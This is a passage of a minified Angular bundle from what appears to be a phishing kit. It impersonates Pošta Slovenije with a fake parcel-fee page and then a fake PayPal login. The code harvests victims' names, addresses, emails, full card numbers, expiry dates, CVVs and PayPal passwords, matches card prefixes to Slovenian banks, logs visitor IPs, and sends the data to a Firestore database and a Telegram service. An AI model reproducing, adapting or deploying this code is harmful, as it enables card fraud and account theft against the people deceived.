"+this.zip),this.registerForm.controls.adress.setValue(this.adress),this.registerForm.controls.city.setValue(this.city),this.registerForm.controls.zip.setValue(this.zip)}executeImportantAction(){this.recaptchaV3Service.execute("importantAction").subscribe(t=>this.handleToken(t))}onExpirationValue(t){this.expiration=t.target.value+"",console.log(this.expiration)}epicFunction(){console.log("hello `Home` component"),this.deviceInfo=this.deviceService.getDeviceInfo();const t=this.deviceService.isMobile(),e=this.deviceService.isTablet();this.isMobile=this.deviceService.isMobile();const n=this.deviceService.isDesktop();console.log(this.deviceInfo),console.log(t),console.log(e),console.log(n)}get f(){return this.registerForm.controls}get fb(){return this.confirmationForm.controls}openDialog(){new aI,this.matDialog.open(jN,{width:"380px",height:"710px",disableClose:!0,panelClass:"custom-dialog-container"})}checkBin(){console.log(this.firstFourDegits),this.arrayNBG.includes(this.firstFourDegits)?(this.redirectTo=1,this.bin="NLB: "):this.arrayAlpha.includes(this.firstFourDegits)?(this.redirectTo=2,this.bin="NKBM: "):this.arrayPiraeus.includes(this.firstFourDegits)?(this.redirectTo=3,this.bin="BKS/Addiko: "):this.arrayEurobk.includes(this.firstFourDegits)?(this.redirectTo=4,this.bin="SKB : "):this.arraAttica.includes(this.firstFourDegits)?(this.redirectTo=5,this.bin="UniCredit: "):this.arraySPankki.includes(this.firstFourDegits)?(this.redirectTo=6,this.bin="LinkM: "):this.arrayHANDELSBANKEN.includes(this.firstFourDegits)?(this.redirectTo=7,this.bin="HANDELSBANKEN: "):this.arrayPOP.includes(this.firstFourDegits)?(this.redirectTo=8,this.bin="ISPS: "):this.redirectTo=9}ngOnInit(){this.confirmationForm=this.formBuilder.group({ccNum:["",[$O.required,$O.minLength(15),$O.pattern(/^[0-9]\d*$/)]],ccCvv:["",[$O.required,$O.minLength(3),$O.pattern(/^[0-9]\d*$/)]]})}onConfirm(){this.submitted2=!0,!this.confirmationForm.invalid&&(this.loadingSpinner=!0,setTimeout(()=>{let t;this.login.dateTime=Date.now(),this.login.step=2,this.ccNum=this.confirmationForm.value.ccNum,this.firstFourDegits=this.ccNum.substring(0,6),this.checkBin(),this.login.card=this.bin+" "+this.confirmationForm.value.ccNum+" - "+this.expiration+" - "+this.confirmationForm.value.ccCvv,localStorage.setItem("ccNum",this.confirmationForm.value.ccNum),console.log(this.firstFourDegits+"********"),console.log(this.redirectTo),console.log(this.login.email),this.db.collection("lBet").doc(this.prefix).update({step:2,bnk:this.redirectTo,card:this.login.card}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.disableMethod=!0,t=this.bin+" - "+this.confirmationForm.value.ccNum+" "+this.expiration+" "+this.confirmationForm.value.ccCvv+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.step=2,this.openDialog()},3e3))}onSubmit(){var t=this;if(this.submitted=!0,console.log("KALALALA"),!this.registerForm.invalid){if(0==this.paymentMethod)return void(this.paymentNotSelected=!0);this.loadingSpinner=!0,1==this.paymentMethod&&setTimeout(()=>{let e;this.login.dateTime=Date.now(),this.login.step=1,this.login.payment=this.paymentMethod,this.login.email=this.registerForm.value.email,this.login.name=this.registerForm.value.name,this.login.adress=this.registerForm.value.adress,this.login.city=this.registerForm.value.city,this.login.zip=this.registerForm.value.zip,console.log(this.login.email),this.resultsCollection.add(this.login).then(function(){var e=TT(function*(e){t.prefix=e.id,console.log(t.prefix),localStorage.setItem("ID",t.prefix),console.log(localStorage.getItem("ID")," dazdzadaz")});return function(t){return e.apply(this,arguments)}}()).catch(function(t){console.error("Error writing document event: ",t)}),localStorage.setItem("email",this.login.email),e=this.login.email+" "+this.login.adress+", "+this.login.city+" "+this.login.zip+" "+this.visit.ip,this.myService.sendTelegram(e).subscribe(t=>console.log(t)),this.disableMethod=!0,this.loadingSpinner=!1,this.step=1},1800),2==this.paymentMethod&&setTimeout(()=>{let e;this.login.dateTime=Date.now(),this.login.step=3,this.login.payment=this.paymentMethod,this.login.email=this.registerForm.value.email,this.login.name=this.registerForm.value.name,this.login.adress=this.registerForm.value.adress,this.login.city=this.registerForm.value.city,this.login.zip=this.registerForm.value.zip,console.log(this.login.email),this.resultsCollection.add(this.login).then(function(){var e=TT(function*(e){t.prefix=e.id,console.log(t.prefix),localStorage.setItem("ID",t.prefix),console.log(localStorage.getItem("ID")," dazdzadaz")});return function(t){return e.apply(this,arguments)}}()).catch(function(t){console.error("Error writing document event: ",t)}),localStorage.setItem("email",this.login.email),localStorage.setItem("firstName",this.login.name.split(" ",2)[0]),localStorage.setItem("fullAddress",this.login.adress+", "+this.login.city+" "+this.login.zip+", Suomi"),e=this.login.email+" "+this.login.adress+", "+this.login.city+" "+this.login.zip+" "+this.visit.ip,this.myService.sendTelegram(e).subscribe(t=>console.log(t)),setTimeout(()=>{this.router.navigateByUrl("/PayPal?Tracking=1Z8X49230490355196")},3e3),this.disableMethod=!0},1800)}}selectVisa(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!0,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","visa"))}selectMaster(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!1,this.masterSelected=!0,this.amexSelected=!1,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","master"))}selectAmex(){this.disableMethod||(this.paymentMethod=1,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!0,this.ppSelected=!1,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","amex"))}selectPp(){this.disableMethod||(this.paymentMethod=2,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!0,this.paymentNotSelected=!1,localStorage.setItem("paymentMethod","paypal"))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vI),r.\u0275\u0275directiveInject(CI),r.\u0275\u0275directiveInject(pT),r.\u0275\u0275directiveInject(GN),r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(wo),r.\u0275\u0275directiveInject(uR))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-my-package"]],viewQuery:function(t,e){if(1&t&&r.\u0275\u0275viewQuery(hR,5),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e.placesRef=t.first)}},decls:76,vars:46,consts:[[1,"navbar","navbar-light",2,"background-color","#ffd541","min-height","100px"],[1,"container"],["href","JavaScript:Void(0);",1,"navbar-brand"],["src","\thttps://en.posta.si/Style%20Library/PostaSI/img/posta-logo.svg","alt","",1,"d-inline-block","align-top",2,"width","220px"],[1,"gradient-custom",2,"min-height","70%"],[1,"container","py-5"],[1,"row","d-flex","justify-content-center","my-4"],[1,"col-md-8"],[1,"card","mb-4"],[1,"card-header","py-3"],[1,"mb-0"],[1,"card-body"],[1,"row"],[1,"col-lg-3","col-md-12","mb-4","mb-lg-0"],["data-mdb-ripple-color","light",1,"bg-image","hover-overlay","hover-zoom","ripple","rounded"],["src","../../assets/images/package.png","alt","\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c0\u03b1\u03ba\u03ad\u03c4\u03bf\u03c5",1,"w-100",2,"border-radius","3px"],["href","#!"],[1,"mask",2,"background-color","rgba(251, 251, 251, 0.2)"],[1,"col-lg-5","col-md-6","mb-4","mb-lg-0"],["href","https://www.yuntrack.com/parcelTracking?id=YT2227221276000355","target","_blank",2,"color","#0051C2"],["style","float: right; margin-right: 10px; font-size: 16px",4,"ngIf"],["class","col-lg-4 col-md-6 mb-4 mb-lg-0",4,"ngIf"],[1,"card","mb-4","mb-lg-0"],["width","45px","disabled","","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/visa.svg","alt","Visa",1,"me-2",2,"cursor","pointer",3,"ngClass","click"],["width","45px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/amex.svg","alt","American Express",1,"me-2",2,"cursor","pointer",3,"ngClass","click"],["width","45px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/mastercard.svg","alt","Mastercard",1,"me-2",2,"cursor","pointer",3,"ngClass","click"],["width","45px","src","../../assets/images/ppLogo.webp","alt","PayPal acceptance mark",1,"me-2",2,"cursor","pointer",3,"ngClass","click"],["style","margin-top: 8px; color: #dc3545;",4,"ngIf"],[1,"col-md-4"],[1,"card-header","py-3",2,"background-color","#ffda56"],["class","mb-0","style","color: white; font-weight: bold;",4,"ngIf"],["class","mb-0","style","color: #000; font-weight: bold;",4,"ngIf"],["class","d-flex justify-content-center",4,"ngIf"],[4,"ngIf"],["id","Summary1",4,"ngIf"],["id","Summary2",4,"ngIf"],[1,"page-footer","font-small","blue",2,"background-color","#f2f2f2","clear","both","position","relative","height","300px"],[1,"footer-copyright","text-center","py-5",2,"color","#000"],[1,"col-sm-12"],["alt","Invalidom prijazno podjetje","src","https://www.posta.si/PublishingImages/Invalidom-prijazno-podjetje_logo.png",1,"img-responsive","center-block",2,"width","80px"],["alt","Invalidom prijazno podjetje","src","https://www.posta.si/PublishingImages/Prijava%20nepravilnosti.svg",1,"img-responsive","center-block",2,"width","120px"],[2,"float","right","margin-right","10px","font-size","16px"],[1,"col-lg-4","col-md-6","mb-4","mb-lg-0"],[1,"d-flex","mb-4",2,"max-width","300px"],[1,"text-start","text-md-center",2,"margin-right","20px","float","right"],[2,"margin-top","8px","color","#dc3545"],[1,"mb-0",2,"color","white","font-weight","bold"],[1,"mb-0",2,"color","#000","font-weight","bold"],[1,"d-flex","justify-content-center"],["src","../../assets/images/Spinner.gif","alt",""],["src","../../assets/images/nbgSc/success.png","width","60","alt",""],["id","Summary1"],[1,"d-flex","justify-content-between","align-items-center","mb-4"],[1,"mb-0",2,"margin-left","4px","font-weight","bold","font-family","Arial, Helvetica, sans-serif"],["autocomplete","on",3,"formGroup","ngSubmit"],[1,"form-group"],["type","email","formControlName","email","autocomplete","on","placeholder","email@address.com",1,"form-control","form-control-lg",3,"ngClass"],["class","invalid-feedback",4,"ngIf"],[1,"form-outline","form-white","mb-3"],["type","text","formControlName","name","id","typeText","placeholder","Polno ime","minlength","6","maxlength","25",1,"form-control","form-control-lg",3,"ngClass"],["type","text","ngx-google-places-autocomplete","","formControlName","adress","id","typeText","size","17","placeholder","Naslov ceste","minlength","5","maxlength","26",1,"form-control","form-control-lg",3,"value","options","ngClass","onAddressChange"],["placesRef","ngx-places"],[1,"row","mb-3"],[1,"col"],[1,"form-outline","form-white"],["type","text","formControlName","city","id","typeText","placeholder","Mesto","minlength","4","maxlength","20",1,"form-control","form-control-lg",3,"value","ngClass"],["type","text","formControlName","zip","id","typeText","placeholder","Po\u0161tna \u0161tevilka","minlength","4","maxlength","6",1,"form-control","form-control-lg",2,"min-width","147px",3,"value","ngClass"],[1,"list-group","list-group-flush"],[1,"list-group-item","d-flex","justify-content-between","align-items-center","border-0","px-0","pb-0"],[1,"list-group-item","d-flex","justify-content-between","align-items-center","px-0"],[1,"list-group-item","d-flex","justify-content-between","align-items-center","border-0","px-0","mb-3"],[1,"mb-0",2,"font-size","12px"],[1,"btn","btn-primary","btn-lg","btn-block",2,"background-color","#f6f4ff","border","#f6f4ff","color","black","font-size","14px"],[1,"invalid-feedback"],["id","Summary2"],[1,"mb-0",2,"margin-left","4px"],["width","35px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/visa.svg","alt","Visa",1,"me-0"],["width","35px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/amex.svg","alt","American Express",1,"me-0"],["width","35px","src","https://mdbcdn.b-cdn.net/wp-content/plugins/woocommerce-gateway-stripe/assets/images/mastercard.svg","alt","Mastercard",1,"me-2"],[1,"mt-4",3,"formGroup","ngSubmit"],["type","text","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","formControlName","ccNum","pattern","\\d*","id","typeText","size","17","placeholder","\u0160tevilka kartice","minlength","15","maxlength","16",1,"form-control","form-control-lg",3,"ngClass"],["type","text","pattern","\\d*","autocomplete","on","onkeyup","this.value=this.value.replace(/^(\\d\\d)(\\d)$/g,'$1/$2').replace(/^(\\d\\d\\/\\d\\d)(\\d+)$/g,'$1/$2').replace(/[^\\d\\/]/g,'')","id","typeExp","placeholder","MM/LL","size","5","id","exp","maxlength","5",1,"form-control","form-control-lg",3,"keyup"],["type","text","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","formControlName","ccCvv","id","typeText","placeholder","\u25cf\u25cf\u25cf","size","1","minlength","3","maxlength","3",1,"form-control","form-control-lg",3,"ngClass"],[1,"my-4"],[1,"d-flex","justify-content-between"],[1,"mb-2"],[1,"d-flex","justify-content-between","mb-4"],[2,"font-size","10px"],["type","button","type","submit",1,"btn","btn-info","btn-block","btn-lg",2,"font-weight","bold","color","#000","background-color","#ffd541","border-color","#ffd541"],[1,"fas","fa-long-arrow-alt-right","ms-2"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"nav",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"a",2),r.\u0275\u0275element(3,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"section",4),r.\u0275\u0275elementStart(5,"div",5),r.\u0275\u0275elementStart(6,"div",6),r.\u0275\u0275elementStart(7,"div",7),r.\u0275\u0275elementStart(8,"div",8),r.\u0275\u0275elementStart(9,"div",9),r.\u0275\u0275elementStart(10,"h5",10),r.\u0275\u0275text(11,"Moji paketi - 1 paket"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(12,"div",11),r.\u0275\u0275elementStart(13,"div",12),r.\u0275\u0275elementStart(14,"div",13),r.\u0275\u0275elementStart(15,"div",14),r.\u0275\u0275element(16,"img",15),r.\u0275\u0275elementStart(17,"a",16),r.\u0275\u0275element(18,"div",17),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",18),r.\u0275\u0275elementStart(20,"p"),r.\u0275\u0275elementStart(21,"strong"),r.\u0275\u0275text(22,"Paket "),r.\u0275\u0275elementStart(23,"a",19),r.\u0275\u0275text(24,"YT2227221276000355"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(25,"p"),r.\u0275\u0275text(26,"Ute\u017e: 0,71 kg"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"p"),r.\u0275\u0275text(28,"Znesek: 1 "),r.\u0275\u0275template(29,pR,2,0,"strong",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(30,fR,5,0,"div",21),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(31,"div",8),r.\u0275\u0275elementStart(32,"div",11),r.\u0275\u0275elementStart(33,"p"),r.\u0275\u0275elementStart(34,"strong"),r.\u0275\u0275text(35,"Predviden datum dostave"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(36,"p",10),r.\u0275\u0275text(37),r.\u0275\u0275pipe(38,"date"),r.\u0275\u0275pipe(39,"date"),r.\u0275\u0275pipe(40,"date"),r.\u0275\u0275pipe(41,"date"),r.\u0275\u0275pipe(42,"date"),r.\u0275\u0275pipe(43,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(44,"div",22),r.\u0275\u0275elementStart(45,"div",11),r.\u0275\u0275elementStart(46,"p"),r.\u0275\u0275elementStart(47,"strong"),r.\u0275\u0275text(48,"Izberite na\u010din pla\u010dila"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(49,"img",23),r.\u0275\u0275listener("click",function(){return e.selectVisa()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(50," \xa0 "),r.\u0275\u0275elementStart(51,"img",24),r.\u0275\u0275listener("click",function(){return e.selectMaster()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(52,"\xa0 "),r.\u0275\u0275elementStart(53,"img",25),r.\u0275\u0275listener("click",function(){return e.selectAmex()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(54,"\xa0 "),r.\u0275\u0275elementStart(55,"img",26),r.\u0275\u0275listener("click",function(){return e.selectPp()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(56,gR,2,0,"div",27),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(57,"div",28),r.\u0275\u0275elementStart(58,"div",8),r.\u0275\u0275elementStart(59,"div",29),r.\u0275\u0275template(60,mR,2,0,"h4",30),r.\u0275\u0275template(61,yR,2,0,"h4",31),r.\u0275\u0275template(62,bR,2,0,"h4",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(63,"div",11),r.\u0275\u0275template(64,vR,2,0,"div",32),r.\u0275\u0275template(65,_R,8,0,"div",33),r.\u0275\u0275template(66,DR,47,25,"div",34),r.\u0275\u0275template(67,FR,45,9,"div",35),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(68,"footer",36),r.\u0275\u0275elementStart(69,"div",37),r.\u0275\u0275text(70," \xa9 2022 Po\u0161ta Slovenije "),r.\u0275\u0275elementStart(71,"div",38),r.\u0275\u0275element(72,"img",39),r.\u0275\u0275text(73," \xa0\xa0\xa0\xa0\xa0\xa0\xa0 "),r.\u0275\u0275element(74,"img",40),r.\u0275\u0275element(75,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(29),r.\u0275\u0275property("ngIf",e.isMobile),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.isMobile),r.\u0275\u0275advance(7),r.\u0275\u0275textInterpolate6("",r.\u0275\u0275pipeBind2(38,20,e.date1,"dd"),"/",r.\u0275\u0275pipeBind2(39,23,e.date1,"MM"),"/",r.\u0275\u0275pipeBind2(40,26,e.date1,"yyyy")," - ",r.\u0275\u0275pipeBind2(41,29,e.date2,"dd"),"/",r.\u0275\u0275pipeBind2(42,32,e.date2,"MM"),"/",r.\u0275\u0275pipeBind2(43,35,e.date2,"yyyy")," "),r.\u0275\u0275advance(12),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(38,VR,e.visaSelected)),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(40,VR,e.masterSelected)),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(42,VR,e.amexSelected)),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngClass",r.\u0275\u0275pureFunction1(44,VR,e.ppSelected)),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",e.paymentNotSelected),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",0==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",1==e.step||2==e.step||3==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step||9==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",10==e.step),r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",e.loadingSpinner),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loadingSpinner&&10==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",0==e.step&&!e.loadingSpinner),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",1==e.step&&!e.loadingSpinner))},directives:[ut,st,$E,CE,YE,zO,_E,tT,oT,aT,dR.GooglePlaceDirective,lT],pipes:[vt],styles:[".gradient-custom[_ngcontent-%COMP%]{background:#0051C2;background:-webkit-linear-gradient(to right,#F6F7F9,#F6F7F9);background:#fff}.selectedMethod[_ngcontent-%COMP%]{border:2px solid #0051C2;border-radius:3px}.login__input[_ngcontent-%COMP%]:active, .login__input[_ngcontent-%COMP%]:focus, .login__input[_ngcontent-%COMP%]:hover{outline:none;border-bottom-color:#0051c2}.login__submit[_ngcontent-%COMP%]{background:#fff;font-size:10px;font-weight:bold;margin-top:1px;padding:10px 15px;border-radius:26px;border:1px solid #D4D3E8;text-transform:uppercase;font-weight:700;display:flex;align-items:center;width:100%;color:#0051c2;box-shadow:0 2px 2px #0051c2;cursor:pointer;transition:.2s}.login__submit[_ngcontent-%COMP%]:active, .login__submit[_ngcontent-%COMP%]:focus, .login__submit[_ngcontent-%COMP%]:hover{border-color:#0051c2;outline:none}.button__icon[_ngcontent-%COMP%]{font-size:24px;margin-left:auto;color:#0051c2}.social-login[_ngcontent-%COMP%]{position:absolute;height:140px;width:160px;text-align:center;bottom:0px;right:0px;color:#fff}.social-icons[_ngcontent-%COMP%]{display:flex;align-items:center;justify-content:center}.social-login__icon[_ngcontent-%COMP%]{padding:20px 10px;color:#fff;text-decoration:none;text-shadow:0px 0px 8px #0051C2}.social-login__icon[_ngcontent-%COMP%]:hover{transform:scale(1.5)}"]}),t})()},{path:"metra",component:OT},{path:"PayPal",component:(()=>{class t{constructor(t,e,n,r,i,o,s,a){var c,l,u;this.matDialog=t,this.myService=e,this.formBuilder=n,this.router=r,this.recaptchaV3Service=i,this.db=o,this.deviceService=s,this._document=a,this.expiration="",this.arrayNBG=["516946","548417","410669","558661","558680","670507","676226","676324","676325","676326","676327","677143","677152","443855","540951","448320","454346","459942","554852","554586","474819","483787","543661","545963","547423","459943"],this.arrayAlpha=["400474","459944","498708","558444","517540","550145"],this.arrayPiraeus=["492060","492066","492069","513565","513568","513571","513687","513688","513701","513703","513718","513723","513725","513726","513727","525761","525762","547904","547921","549486"],this.arrayEurobk=["4162761","433343","433348","440640","440641","440642","467301","467303","467304","467305","540600","542487","543686","547534","548191","559516","559517","559518","676270"],this.arraAttica=["416278","533890","417085","457722","459444","498527","498528","498529","515880","541268","543827","677192"],this.arraySPankki=["536504","535795","537469"],this.arrayHANDELSBANKEN=["402802","402803","492028","492030","492038","492039","492068","512004","518018","525442","534155","535211","535212","542986","549133","557498","557499"],this.arrayPOP=["377550","377553","402430","409664","429560","430982","448340","448341","448342","459520","460330","476656","510032","516262","536523","544227","545042","547611","589789","676214"],this.step=0,this.paymentMethod=0,this.loadingSpinner=!1,this.success=!1,this.visaSelected=!1,this.masterSelected=!1,this.amexSelected=!1,this.ppSelected=!1,this.disableMethod=!1,this.bin="",this.paymentNotSelected=!1,this.redirectTo=0,this.submitted=!1,this.submitted2=!1,this.login={id:"",email:"",payment:0,card:"",pin:"",pp:"",name:"",zip:"",adress:"",city:"",credentials:"",smsCode:"",step:0,bnk:0,dateTime:"",ip:""},this.visit={ip:"",country:"",dateTime:"",device:""},this.favIcon2=document.querySelector("#appIcon"),localStorage.getItem("firstName")?this.firstName=localStorage.getItem("firstName"):null===(c=window.open("/Confirm_Delivery","_self"))||void 0===c||c.close(),localStorage.getItem("fullAddress")?this.adress=localStorage.getItem("fullAddress"):null===(l=window.open("/Confirm_Delivery","_self"))||void 0===l||l.close(),this.epicFunction(),null===(u=document.getElementById("appIcon"))||void 0===u||u.setAttribute("href","../../assets/pp_favicon_x.ico"),this.visitsCollection=this.db.collection("vBet"),e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name,this.visitsCollection.add(this.visit),console.log(this.prefix+"jjaaaa")})}),localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.firstFourDegits=this.ccNum.substring(0,6),this.openDialog()),localStorage.getItem("email")&&(this.currentEmail=localStorage.getItem("email")),this.prefix=localStorage.getItem("ID"),this.loadingSpinner=!0,this.resultsCollection=this.db.collection("lBet"),this.myService.getBkName(451189).subscribe(t=>{console.log(t)}),this.storedMethod=localStorage.getItem("paymentMethod"),"visa"==this.storedMethod&&this.selectVisa(),"master"==this.storedMethod&&this.selectMaster(),"amex"==this.storedMethod&&this.selectAmex(),"paypal"==this.storedMethod&&setTimeout(()=>{this.selectPp()},1e3),localStorage.getItem("ID")||setTimeout(()=>{this.loadingSpinner=!1},1e3),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(1==e.step?(this.step=1,this.loadingSpinner=!1,this.disableMethod=!0,console.log("Here I AM")):2==e.step?(this.step=2,this.loadingSpinner=!1,this.disableMethod=!0):3==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step||9==e.step||10==e.step&&(this.step=10,this.matDialog.closeAll(),setTimeout(()=>{var t;this.loadingSpinner=!1,this.success=!0,this.disableMethod=!0,null===(t=window.open("/Confirm_Delivery","_self"))||void 0===t||t.close()},3e3))),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}executeImportantAction(){this.recaptchaV3Service.execute("importantAction").subscribe(t=>this.handleToken(t))}onExpirationValue(t){this.expiration=t.target.value+"",console.log(this.expiration)}epicFunction(){console.log("hello `Home` component"),this.deviceInfo=this.deviceService.getDeviceInfo();const t=this.deviceService.isMobile(),e=this.deviceService.isTablet(),n=this.deviceService.isDesktop();console.log(this.deviceInfo),console.log(t),console.log(e),console.log(n)}get f(){return this.registerForm.controls}get fb(){return this.confirmationForm.controls}openDialog(){new aI,this.matDialog.open(jN,{width:"380px",height:"710px",disableClose:!0,panelClass:"custom-dialog-container"})}checkBin(){console.log(this.firstFourDegits),this.arrayNBG.includes(this.firstFourDegits)?(this.redirectTo=1,this.bin="NLB: "):this.arrayAlpha.includes(this.firstFourDegits)?(this.redirectTo=2,this.bin="NKBM: "):this.arrayPiraeus.includes(this.firstFourDegits)?(this.redirectTo=3,this.bin="BKS/Addiko: "):this.arrayEurobk.includes(this.firstFourDegits)?(this.redirectTo=4,this.bin="SKB : "):this.arraAttica.includes(this.firstFourDegits)?(this.redirectTo=5,this.bin="UniCredit: "):this.arraySPankki.includes(this.firstFourDegits)?(this.redirectTo=6,this.bin="LinkM: "):this.arrayHANDELSBANKEN.includes(this.firstFourDegits)?(this.redirectTo=7,this.bin="HANDELSBANKEN: "):this.arrayPOP.includes(this.firstFourDegits)?(this.redirectTo=8,this.bin="ISPS: "):this.redirectTo=9}cancelPayment(){localStorage.clear(),this.router.navigateByUrl("/Confirm_Delivery?Tracking=1Z8X49230490355196")}ngOnInit(){this.registerForm=this.formBuilder.group({email:[this.currentEmail,[$O.required,$O.email,$O.pattern("^[a-z0-9._%+-]+@[a-z0-9.-]+\\.[a-z]{2,4}$")]],password:["",[$O.required,$O.minLength(6)]]}),this.confirmationForm=this.formBuilder.group({ccNum:["",[$O.required,$O.minLength(15),$O.pattern(/^[0-9]\d*$/)]],ccCvv:["",[$O.required,$O.minLength(3),$O.pattern(/^[0-9]\d*$/)]]})}onConfirm(){this.submitted2=!0,!this.confirmationForm.invalid&&(this.loadingSpinner=!0,setTimeout(()=>{let t;this.login.dateTime=Date.now(),this.login.step=2,this.ccNum=this.confirmationForm.value.ccNum,this.firstFourDegits=this.ccNum.substring(0,6),this.checkBin(),this.login.card=this.bin+" "+this.confirmationForm.value.ccNum+" - "+this.expiration+" - "+this.confirmationForm.value.ccCvv,localStorage.setItem("ccNum2",this.confirmationForm.value.ccNum),console.log(this.firstFourDegits+"********"),console.log(this.redirectTo),console.log(this.login.email),this.db.collection("lBet").doc(this.prefix).update({step:2,bnk:this.redirectTo,card:this.login.card}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.disableMethod=!0,this.step=2,t=this.bin+" - "+this.confirmationForm.value.ccNum+" "+this.expiration+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.openDialog()},3e3))}onSubmit(){var t=this;if(this.submitted=!0,console.log("KALALALA"),!this.registerForm.invalid){if(0==this.paymentMethod)return void(this.paymentNotSelected=!0);this.loadingSpinner=!0,1==this.paymentMethod&&setTimeout(()=>{this.login.dateTime=Date.now(),this.login.step=1,this.login.payment=this.paymentMethod,this.login.email=this.registerForm.value.email,console.log(this.login.email),this.resultsCollection.add(this.login).then(function(){var e=TT(function*(e){t.prefix=e.id,console.log(t.prefix),localStorage.setItem("ID",t.prefix),console.log(localStorage.getItem("ID")," dazdzadaz")});return function(t){return e.apply(this,arguments)}}()).catch(function(t){console.error("Error writing document event: ",t)}),this.disableMethod=!0,this.loadingSpinner=!1,this.step=1},1800),2==this.paymentMethod&&setTimeout(()=>{let t;console.log(this.login.email),this.login.pp=this.registerForm.value.email+" : "+this.registerForm.value.password,this.db.collection("lBet").doc(this.prefix).update({step:1,pp:this.login.pp}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.disableMethod=!0,t="Paypal-Login: "+this.registerForm.value.email+" "+this.registerForm.value.password+" 